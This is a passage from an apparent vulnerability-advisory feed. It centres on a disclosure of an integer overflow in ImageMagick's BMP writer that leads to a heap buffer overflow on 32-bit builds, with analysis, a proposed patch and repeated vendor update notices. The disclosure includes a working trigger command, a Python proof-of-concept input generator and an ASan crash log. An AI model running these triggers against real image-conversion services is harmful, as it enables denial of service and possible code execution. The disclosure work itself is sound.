_stride = MagickMax(bytes_per_line, (size_t)image-\u003ecolumns + 256UL);\nif (_stride \u003e SIZE_MAX / (size_t)image-\u003erows)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\npixel_info = AcquireVirtualMemory((size_t)image-\u003erows, _stride * sizeof(*pixels));\nif (pixel_info == (MemoryInfo *) NULL)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n\n/* Optional: keep zeroing aligned to computed header size. */\n(void) memset(pixels, 0, (size_t) bmp_info.image_size);\n\n/* --- PATCH END --- */\n```\n\n### Why this is the right spot?\n\n- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). \n    \n- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. \n    \n- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. \n    \n- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. \n    \n\n---\n\n## Notes\n\n- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. \n    \n- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. \n    \n- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) \u0026 ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n    \n\nA slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.\n\n\n\n### Appendix B — Arithmetic Worked Example (W=178,957,200)\n\n- `(24W + 31) mod 2^32 = 5535`\n    \n- `bytes_per_line = 4 * (5535/32) = 688`\n    \n- `row_bytes (24-bpp) = 536,871,600`\n    \n- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.\n    \n\n### Appendix C — Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n    #0 0x408e30ab in __interceptor_posix_memalign\n    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```","status":"published","published":"2025-08-26T16:07:27Z","modified":"2025-11-03T21:48:54.548686Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-122","CWE-190"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"JLSEC-2026-925","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"## Summary\n\nA 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.\n\n  - **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.\n\n  - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.\n  - **32-bit:** **Vulnerable** (reproduced with ASan).\n  - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.\n  - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\n* * *\n\n## Scope \u0026 Affected Builds\n\n  - **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).\n\n  - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`\n  - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`\n  - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.\n  - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.\n\n* * *\n\n## Root Cause (with code anchors)\n\n### Stride computation (writer)\n\n```c\nbytes_per_line = 4 * ((image-\u003ecolumns * bmp_info.bits_per_pixel + 31) / 32);\n```\n\n### Per-row base and 24-bpp loop (writer)\n\n```c\nq = pixels + ((ssize_t)image-\u003erows - y - 1) * (ssize_t)bytes_per_line;\nfor (x = 0; x \u003c (ssize_t)image-\u003ecolumns; x++) {\n  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes\n}\n```\n\n### Allocation (writer)\n\n```c\npixel_info = AcquireVirtualMemory(image-\u003erows,\n    MagickMax(bytes_per_line, image-\u003ecolumns + 256UL) * sizeof(*pixels));\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n```\n\n### Dimension “caps” (insufficient)\n\nThe writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.\n\n* * *\n\n## Integer-Overflow Analysis (32-bit `size_t`)\n\nStride formula for 24-bpp:\n\n```\nbytes_per_line = 4 * ((width * 24 + 31) / 32)\n```\n\nThere are **two independent overflow hazards** on 32-bit:\n\n 1. **Stage-1 multiply+add** in `(width * 24 + 31)`\n    Overflow iff `width \u003e ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`\n    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.\n\n 2. **Stage-2 final ×4** after the division\n    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q \u003e 0x3FFFFFFF`.\n    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.\n\nBoth thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.\n\n**Mismatch predicate (guaranteed OOB when overflowed):**\nPer-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.\nUnder either overflow, `bytes_per_line` collapses → `3*width \u003e bytes_per_line` holds → **OOB-write**.\n\n* * *\n\n## Concrete Demonstration\n\nChosen width: **`W = 178,957,200`** (just over Stage-1 bound)\n\n  - Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**\n\n  - Divide by 32: `5535 / 32 = 172`\n  - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride\n  - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`\n  - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`\n  - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.\n\n* * *\n\n## Observed Result (ASan excerpt)\n\n```\nERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 in WriteBMPImage coders/bmp.c:2309\n...\nallocated by:\n  AcquireVirtualMemory MagickCore/memory.c:747\n  WriteBMPImage coders/bmp.c:2092\n```\n\n  - Binary: **ELF 32-bit i386**, Q8, non-HDRI\n\n  - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)\n\n* * *\n\n## Exploitability \u0026 Risk\n\n  - **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.\n\n  - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).\n  - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).\n  - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.\n\n**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.\n\n* * *\n\n## Reproduction (copy-paste triager script)\n\n**Test Environment:**\n\n  - `docker run -it --rm --platform linux/386 debian:11 bash`\n\n  - Install deps: `apt-get update \u0026\u0026 apt-get install -y build-essential git autoconf automake libtool pkg-config python3`\n  - Clone \u0026 checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`\n  - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):\n\n```bash\n./configure \\\n  --host=i686-pc-linux-gnu \\\n  --build=x86_64-pc-linux-gnu \\\n  --disable-dependency-tracking \\\n  --disable-silent-rules \\\n  --disable-shared \\\n  --disable-openmp \\\n  --disable-docs \\\n  --without-x \\\n  --without-perl \\\n  --without-magick-plus-plus \\\n  --without-lqr \\\n  --without-zstd \\\n  --without-tiff \\\n  --with-quantum-depth=8 \\\n  --disable-hdri \\\n  CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j\"$(nproc)\"\n```\n\n  - Runtime limits to exercise writer:\n\n```bash\nexport MAGICK_WIDTH_LIMIT=200000000\nexport MAGICK_HEIGHT_LIMIT=200000000\nexport MAGICK_TEMPORARY_PATH=/tmp\nexport TMPDIR=/tmp\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0\"\n```\n\n**One-liner trigger (no input file):**\n\n```bash\nW=178957200\n./utilities/magick \\\n  -limit width 200000000 -limit height 200000000 \\\n  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \\\n  -limit thread 1 \\\n  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null\n```\n\n**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).\n\n**Alternate PoC (raw PPM generator):**\n\n```python\n#!/usr/bin/env python3\nW, H, MAXV = 180_000_000, 1, 255              \n# W \u003e 178,956,969\nwith open(\"huge.ppm\", \"wb\") as f:\n    f.write(f\"P6\\n{W} {H}\\n{MAXV}\\n\".encode(\"ascii\"))\n    chunk = (b\"\\x41\\x42\\x43\") * (1024*1024)\n    remaining = 3 * W\n    while remaining:\n        n = min(remaining, len(chunk))\n        f.write(chunk[:n]); remaining -= n\n# Then: magick huge.ppm out.bmp\n```\n\n* * *\n\n## Proposed Severity\n\n  - **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**\n\n  - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**\n\n* * *\n\n## Maintainer Pushbacks — Pre-empted\n\n  - **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.\n\n  - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.\n  - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.\n\n* * *\n\n## Remediation (Summary)\n\nAdd checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.\n\nConcretely:\n\n  - Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.\n  - Compute row_bytes for the chosen bpp and assert row_bytes \u003c= bytes_per_line.\n  - Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.\n\nA full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).\n\n* * *\n\n## Regression Tests to Include (PR-friendly)\n\n 1. **32-bit overflow repros** (with ASan):\n    \n      + `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.\n    \n      + `rows=2`, same bound → no row overlap; clean error.\n\n 2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.\n 3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.\n\n* * *\n\n## Attachments (private BMP_Package)\n\nProvided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)\n\n* * *\n\n## Disclosure \u0026 Coordination\n\n  - **Reporter:** Lumina Mescuwa\n\n  - **Tested on:** i686 Linux container (details in Repro)\n  - **Timeline:** August 19th, 2025\n\n* * *\n\n## Appendices\n\n### Appendix A — Patch block tailored to  `bmp.c`\n\n**Where this hooks in (current code):**\n\n  - Stride is computed here: `bytes_per_line=4*((image-\u003ecolumns*bmp_info.bits_per_pixel+31)/32);`\n\n  - Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image-\u003erows);`\n  - Allocation uses `AcquireVirtualMemory(image-\u003erows, MagickMax(bytes_per_line, image-\u003ecolumns+256UL)*sizeof(*pixels));`\n  - 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image-\u003ecolumns; x \u003c (ssize_t)bytes_per_line; x++) *q++=0x00;`\n\n* * *\n\n## Suggested Patch (minimal surface, guards + invariant)\n\nI recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.\n\n```c\n/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */\n\n/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */\nif (bmp_info.bits_per_pixel == 0 ||\n    (size_t)image-\u003ecolumns \u003e (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nsize_t _tmp = (size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel + 31;\n/* Divide first; then check the final ×4 won't overflow. */\n_tmp /= 32;\nif (_tmp \u003e (SIZE_MAX / 4))\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nbytes_per_line = 4 * _tmp;  /* same formula as before, now checked */\n\n/* 2) Compute the actual data bytes written per row for the chosen bpp. */\nsize_t row_bytes;\nif (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {\n  /* packed: ceil(width*bpp/8) */\n  if ((size_t)image-\u003ecolumns \u003e (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = (((size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel) + 7) \u003e\u003e 3;\n} else {\n  /* 16/24/32 bpp: (bpp/8) * width */\n  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;\n  if (bpp_bytes == 0 || (size_t)image-\u003ecolumns \u003e SIZE_MAX / bpp_bytes)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = bpp_bytes * (size_t)image-\u003ecolumns;\n}\n\n/* 3) Per-row safety invariant: the payload must fit the stride. */\nif (row_bytes \u003e bytes_per_line)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\n/* 4) Guard header size and allocation products. */\nif ((size_t)image-\u003erows == 0)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\n/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */\nif (bytes_per_line \u003e 0xFFFFFFFFu / (size_t)image-\u003erows)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\nbmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image-\u003erows);\n\n/* Allocation count = rows * stride_used, with existing MagickMax policy. */\nsize_t _stride = MagickMax(bytes_per_line, (size_t)image-\u003ecolumns + 256UL);\nif (_stride \u003e SIZE_MAX / (size_t)image-\u003erows)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\npixel_info = AcquireVirtualMemory((size_t)image-\u003erows, _stride * sizeof(*pixels));\nif (pixel_info == (MemoryInfo *) NULL)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n\n/* Optional: keep zeroing aligned to computed header size. */\n(void) memset(pixels, 0, (size_t) bmp_info.image_size);\n\n/* --- PATCH END --- */\n```\n\n### Why this is the right spot?\n\n  - It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`).\n\n  - It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication.\n  - It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`.\n  - The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on.\n\n* * *\n\n## Notes\n\n  - **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected.\n\n  - **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field.\n  - **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) \u0026 ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n\nA slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.\n\n### Appendix B — Arithmetic Worked Example (W=178,957,200)\n\n  - `(24W + 31) mod 2^32 = 5535`\n\n  - `bytes_per_line = 4 * (5535/32) = 688`\n  - `row_bytes (24-bpp) = 536,871,600`\n  - Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.\n\n### Appendix C — Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n    #0 0x408e30ab in __interceptor_posix_memalign\n    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```","status":"published","published":"2026-07-30T16:02:27.435Z","modified":"2026-07-30T18:35:59.716908695Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:47:19.003546Z"},{"id":"OESA-2025-2193","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, ImageMagick is vulnerable to heap-buffer overflow read around the handling of images with separate alpha channels when performing image magnification in ReadOneMNGIMage. This can likely be used to leak subsequent memory contents into the output image. This issue has been patched in version 7.1.2-1.(CVE-2025-55004)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.(CVE-2025-55005)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software). It has been classified as critical.CWE is classifying the issue as CWE-123. Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.This is going to have an impact on confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 439b362b93c074eea6c3f834d84982b43ef057d5 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55298)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-57803)","status":"published","published":"2025-09-05T11:09:16Z","modified":"2026-08-18T01:18:11.197015615Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:43.127925Z"},{"id":"OESA-2025-2194","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, ImageMagick is vulnerable to heap-buffer overflow read around the handling of images with separate alpha channels when performing image magnification in ReadOneMNGIMage. This can likely be used to leak subsequent memory contents into the output image. This issue has been patched in version 7.1.2-1.(CVE-2025-55004)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.(CVE-2025-55005)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software). It has been classified as critical.CWE is classifying the issue as CWE-123. Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.This is going to have an impact on confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 439b362b93c074eea6c3f834d84982b43ef057d5 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55298)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-57803)","status":"published","published":"2025-09-05T11:09:16Z","modified":"2026-08-18T01:18:11.166189607Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:43.127925Z"},{"id":"OESA-2025-2196","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, ImageMagick is vulnerable to heap-buffer overflow read around the handling of images with separate alpha channels when performing image magnification in ReadOneMNGIMage. This can likely be used to leak subsequent memory contents into the output image. This issue has been patched in version 7.1.2-1.(CVE-2025-55004)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.(CVE-2025-55005)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software). It has been classified as critical.CWE is classifying the issue as CWE-123. Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.This is going to have an impact on confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 439b362b93c074eea6c3f834d84982b43ef057d5 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55298)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest 